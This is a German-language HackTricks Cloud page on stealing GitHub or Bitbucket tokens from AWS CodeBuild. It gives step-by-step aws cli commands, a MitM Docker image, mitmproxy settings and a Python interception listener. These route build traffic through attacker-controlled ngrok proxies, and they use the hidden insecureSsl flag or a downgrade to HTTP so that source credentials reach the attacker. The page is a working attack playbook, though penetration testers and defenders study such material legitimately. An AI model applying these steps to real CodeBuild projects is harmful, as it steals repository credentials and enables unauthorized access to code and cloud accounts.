AWS Codebuild - Token Leakage
Reading time: 7 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Wiederherstellen von Github/Bitbucket konfigurierten Tokens
Zuerst überprüfen, ob es Quellanmeldeinformationen gibt, die Sie leaken könnten:
aws codebuild list-source-credentials
Via Docker Image
Wenn Sie feststellen, dass die Authentifizierung zum Beispiel für Github im Konto festgelegt ist, können Sie exfiltrieren diesen Zugang (GH-Token oder OAuth-Token), indem Sie Codebuild dazu bringen, ein bestimmtes Docker-Image zu verwenden, um den Build des Projekts auszuführen.
Zu diesem Zweck könnten Sie ein neues Codebuild-Projekt erstellen oder die Umgebung eines bestehenden ändern, um das Docker-Image festzulegen.
Das Docker-Image, das Sie verwenden könnten, ist https://github.com/carlospolop/docker-mitm. Dies ist ein sehr einfaches Docker-Image, das die Umgebungsvariablen https_proxy
, http_proxy
und SSL_CERT_FILE
festlegt. Dies ermöglicht es Ihnen, den Großteil des Traffics des im https_proxy
und http_proxy
angegebenen Hosts abzufangen und das in SSL_CERT_FILE
angegebene SSL-Zertifikat zu vertrauen.
- Erstellen und Hochladen Ihres eigenen Docker MitM-Images
- Befolgen Sie die Anweisungen des Repos, um Ihre Proxy-IP-Adresse festzulegen und Ihr SSL-Zertifikat zu setzen und das Docker-Image zu erstellen.
- SETZEN SIE NICHT
http_proxy
, um keine Anfragen an den Metadaten-Endpunkt abzufangen. - Sie könnten
ngrok
wiengrok tcp 4444
verwenden, um den Proxy auf Ihren Host zu setzen. - Sobald Sie das Docker-Image erstellt haben, laden Sie es in ein öffentliches Repo hoch (Dockerhub, ECR...)
- Umgebung festlegen
- Erstellen Sie ein neues Codebuild-Projekt oder ändern Sie die Umgebung eines bestehenden.
- Stellen Sie das Projekt so ein, dass es das zuvor generierte Docker-Image verwendet.
.png)
- Setzen Sie den MitM-Proxy auf Ihrem Host
- Wie im Github-Repo angegeben, könnten Sie etwas wie Folgendes verwenden:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
tip
Die mitmproxy-Version, die verwendet wurde, war 9.0.1, es wurde berichtet, dass dies mit Version 10 möglicherweise nicht funktioniert.
- Führen Sie den Build aus und erfassen Sie die Anmeldeinformationen
- Sie können das Token im Authorization-Header sehen:
.png)
Dies könnte auch über die aws cli mit etwas wie
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Via insecureSSL
Codebuild-Projekte haben eine Einstellung namens insecureSsl
, die im Web verborgen ist und nur über die API geändert werden kann.
Wenn Sie dies aktivieren, kann Codebuild sich mit dem Repository verbinden, ohne das von der Plattform angebotene Zertifikat zu überprüfen.
- Zuerst müssen Sie die aktuelle Konfiguration mit etwas wie:
aws codebuild batch-get-projects --name <proj-name>
- Dann können Sie mit den gesammelten Informationen die Projekteinstellungen
insecureSsl
aufTrue
aktualisieren. Das folgende ist ein Beispiel für meine Aktualisierung eines Projekts, beachten Sie dasinsecureSsl=True
am Ende (das ist das einzige, was Sie aus der gesammelten Konfiguration ändern müssen). - Fügen Sie außerdem die Umgebungsvariablen http_proxy und https_proxy hinzu, die auf Ihr tcp ngrok zeigen, wie:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- Führen Sie dann das grundlegende Beispiel von https://github.com/synchronizing/mitm an dem Port aus, der durch die Proxy-Variablen (http_proxy und https_proxy) angegeben ist.
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Schließlich klicken Sie auf Build the project, die Anmeldeinformationen werden im Klartext (base64) an den mitm-Port gesendet:
 (1).png)
Via HTTP-Protokoll
[!TIP] > Diese Schwachstelle wurde von AWS irgendwann in der Woche des 20. Februar 2023 (ich glaube am Freitag) behoben. Ein Angreifer kann sie also nicht mehr ausnutzen :)
Ein Angreifer mit erhöhten Berechtigungen in über einem CodeBuild könnte das Github/Bitbucket-Token leaken, das konfiguriert ist, oder wenn die Berechtigungen über OAuth konfiguriert wurden, das temporäre OAuth-Token, das zum Zugriff auf den Code verwendet wird.
- Ein Angreifer könnte die Umgebungsvariablen http_proxy und https_proxy zum CodeBuild-Projekt hinzufügen, die auf seine Maschine zeigen (zum Beispiel
http://5.tcp.eu.ngrok.io:14972
).
.png)
.png)
- Dann ändern Sie die URL des Github-Repos, um HTTP anstelle von HTTPS zu verwenden, zum Beispiel:
http://github.com/carlospolop-forks/TestActions
- Dann führen Sie das grundlegende Beispiel von https://github.com/synchronizing/mitm an dem Port aus, der von den Proxy-Variablen (http_proxy und https_proxy) angegeben wird.
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Klicken Sie als Nächstes auf Projekt erstellen oder starten Sie den Build über die Befehlszeile:
aws codebuild start-build --project-name <proj-name>
- Schließlich werden die Anmeldeinformationen im Klartext (base64) an den mitm-Port gesendet:
.png)
warning
Jetzt kann ein Angreifer das Token von seiner Maschine aus verwenden, alle Privilegien auflisten, die es hat, und (miss)brauchen einfacher als die direkte Nutzung des CodeBuild-Dienstes.
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.